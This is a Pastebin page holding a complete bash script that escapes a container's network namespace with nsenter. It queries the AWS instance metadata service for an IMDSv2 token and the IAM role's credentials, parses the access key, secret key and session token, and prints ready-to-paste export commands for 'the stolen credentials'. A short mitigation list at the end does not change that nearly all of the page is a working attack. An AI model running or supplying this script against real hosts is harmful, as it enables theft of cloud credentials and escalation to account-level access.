Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Working Container Escape IMDS Extractor
- # Uses nsenter to escape container network namespace and access IMDS
- # Based on successful debugging that proved nsenter bypass works
- echo "==== Container Escape IMDS Credential Extractor ===="
- echo "Timestamp: $(date)"
- echo "Container ID: $(hostname)"
- echo ""
- DEBUG=${1:-""}
- VERBOSE=1
- debug_log() {
- if [[ "$DEBUG" == "--debug" ]]; then
- echo "[DEBUG] $1"
- fi
- }
- error_log() {
- echo "[ERROR] $1"
- }
- success_log() {
- echo "[SUCCESS] $1"
- }
- warning_log() {
- echo "[WARNING] $1"
- }
- info_log() {
- echo "[INFO] $1"
- }
- # Check if we're in a container
- if [[ -f /.dockerenv ]] || grep -q docker /proc/self/cgroup 2>/dev/null; then
- success_log "Container environment detected"
- else
- warning_log "Not in container - running on host"
- fi
- # Verify nsenter is available
- if ! command -v nsenter >/dev/null 2>&1; then
- error_log "nsenter not available - cannot escape container network namespace"
- exit 1
- fi
- success_log "nsenter available for network namespace escape"
- echo ""
- echo "=== CONTAINER ESCAPE TECHNIQUE ==="
- echo ""
- info_log "Escaping container network namespace to access IMDS..."
- debug_log "Using: nsenter -t 1 -n (escape to host network namespace)"
- # Function to execute commands in host network namespace
- host_network_exec() {
- nsenter -t 1 -n "$@"
- }
- # Test the escape technique first
- debug_log "Testing network namespace escape..."
- if host_network_exec echo "Network escape test successful" >/dev/null 2>&1; then
- success_log "Container network namespace escape SUCCESSFUL"
- else
- error_log "Container network namespace escape FAILED"
- exit 1
- fi
- echo ""
- echo "=== IMDS ACCESS VIA ESCAPED NETWORK NAMESPACE ==="
- echo ""
- # Step 1: Get IMDSv2 Token via escaped network
- info_log "Step 1: Requesting IMDSv2 token via host network namespace..."
- debug_log "Command: nsenter -t 1 -n curl -s -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' http://169.254.169.254/latest/api/token"
- TOKEN=$(host_network_exec curl -s -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token 2>/dev/null)
- if [[ -n "$TOKEN" ]] && [[ ${#TOKEN} -gt 10 ]]; then
- success_log "IMDSv2 token acquired via network escape!"
- debug_log "Token preview: ${TOKEN:0:20}..."
- else
- error_log "Failed to get IMDSv2 token via network escape"
- debug_log "Token response: $TOKEN"
- exit 1
- fi
- # Step 2: Get IAM role name
- info_log "Step 2: Getting IAM role name via escaped network..."
- ROLE_NAME=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
- if [[ -n "$ROLE_NAME" ]]; then
- success_log "IAM role found: $ROLE_NAME"
- else
- error_log "Failed to get IAM role name"
- debug_log "Role response: $ROLE_NAME"
- exit 1
- fi
- # Step 3: Get IAM credentials
- info_log "Step 3: Extracting IAM credentials via escaped network..."
- CREDENTIALS=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
- if [[ -n "$CREDENTIALS" ]] && echo "$CREDENTIALS" | grep -q "AccessKeyId"; then
- success_log "IAM credentials extracted successfully!"
- else
- error_log "Failed to extract IAM credentials"
- debug_log "Credentials response: ${CREDENTIALS:0:100}..."
- exit 1
- fi
- echo ""
- echo "=== CREDENTIAL EXTRACTION AND PARSING ==="
- echo ""
- # Parse credentials (handle both jq and manual parsing)
- debug_log "Parsing extracted credentials..."
- if command -v jq >/dev/null 2>&1; then
- # Use jq for parsing
- ACCESS_KEY=$(echo "$CREDENTIALS" | jq -r '.AccessKeyId' 2>/dev/null)
- SECRET_KEY=$(echo "$CREDENTIALS" | jq -r '.SecretAccessKey' 2>/dev/null)
- SESSION_TOKEN=$(echo "$CREDENTIALS" | jq -r '.Token' 2>/dev/null)
- EXPIRATION=$(echo "$CREDENTIALS" | jq -r '.Expiration' 2>/dev/null)
- else
- # Manual parsing without jq
- ACCESS_KEY=$(echo "$CREDENTIALS" | grep -o '"AccessKeyId"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
- SECRET_KEY=$(echo "$CREDENTIALS" | grep -o '"SecretAccessKey"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
- SESSION_TOKEN=$(echo "$CREDENTIALS" | grep -o '"Token"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
- EXPIRATION=$(echo "$CREDENTIALS" | grep -o '"Expiration"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
- fi
- # Validate extracted credentials
- if [[ -n "$ACCESS_KEY" ]] && [[ -n "$SECRET_KEY" ]] && [[ -n "$SESSION_TOKEN" ]]; then
- success_log "Credentials parsed successfully"
- debug_log "Access Key: ${ACCESS_KEY:0:10}..."
- debug_log "Secret Key: ${SECRET_KEY:0:10}..."
- debug_log "Session Token: ${SESSION_TOKEN:0:20}..."
- debug_log "Expiration: $EXPIRATION"
- else
- error_log "Failed to parse credentials"
- debug_log "Raw credentials: $CREDENTIALS"
- exit 1
- fi
- echo ""
- echo "============================================"
- echo "# 🎯 CONTAINER ESCAPE SUCCESSFUL!"
- echo "# AWS Credentials Extracted via Network Namespace Escape"
- echo "============================================"
- echo ""
- echo "# 🚀 Escape Technique Used:"
- echo "# Method: Network namespace escape using nsenter"
- echo "# Command: nsenter -t 1 -n (escape to host network)"
- echo "# Bypassed: Container network isolation blocking IMDS"
- echo ""
- echo "# 📋 Copy and paste these commands to use the stolen credentials:"
- echo ""
- echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
- echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
- echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
- echo ""
- echo "# 📅 Credentials expire at: $EXPIRATION"
- echo "# 🔍 Verify with: aws sts get-caller-identity"
- echo ""
- echo "============================================"
- echo "# 🛡️ Attack Impact Summary"
- echo "============================================"
- echo "✅ Container network namespace escape successful"
- echo "✅ IMDS hop limit restriction bypassed"
- echo "✅ IMDSv2 token obtained from host network context"
- echo "✅ IAM role credentials extracted: $ROLE_NAME"
- echo "✅ AWS API access gained with temporary credentials"
- echo ""
- echo "🚨 This demonstrates how container escapes can:"
- echo " • Bypass AWS IMDS hop limit protections"
- echo " • Access host network services from containers"
- echo " • Steal EC2 instance IAM credentials"
- echo " • Escalate privileges to AWS account level"
- echo ""
- echo "🛡️ Mitigation recommendations:"
- echo " 1. Enforce IMDSv2 with hop limit = 1"
- echo " 2. Use least-privilege IAM roles"
- echo " 3. Implement network policies blocking IMDS from containers"
- echo " 4. Monitor nsenter usage and container escapes"
- echo " 5. Use AWS IAM Roles Anywhere for container authentication"
- echo "============================================"
- # Optional: Test the credentials
- if [[ "$DEBUG" == "--debug" ]] && command -v aws >/dev/null 2>&1; then
- echo ""
- debug_log "Testing extracted credentials..."
- # Set credentials in environment
- export AWS_ACCESS_KEY_ID="$ACCESS_KEY"
- export AWS_SECRET_ACCESS_KEY="$SECRET_KEY"
- export AWS_SESSION_TOKEN="$SESSION_TOKEN"
- # Test with aws cli
- echo "--- Credential Test ---"
- aws sts get-caller-identity 2>/dev/null || echo "AWS CLI test failed (normal if aws not configured)"
- echo "--- End Test ---"
- fi
- echo ""
- success_log "Container escape and credential extraction completed!"
- info_log "Use the exported environment variables to access AWS services"
Advertisement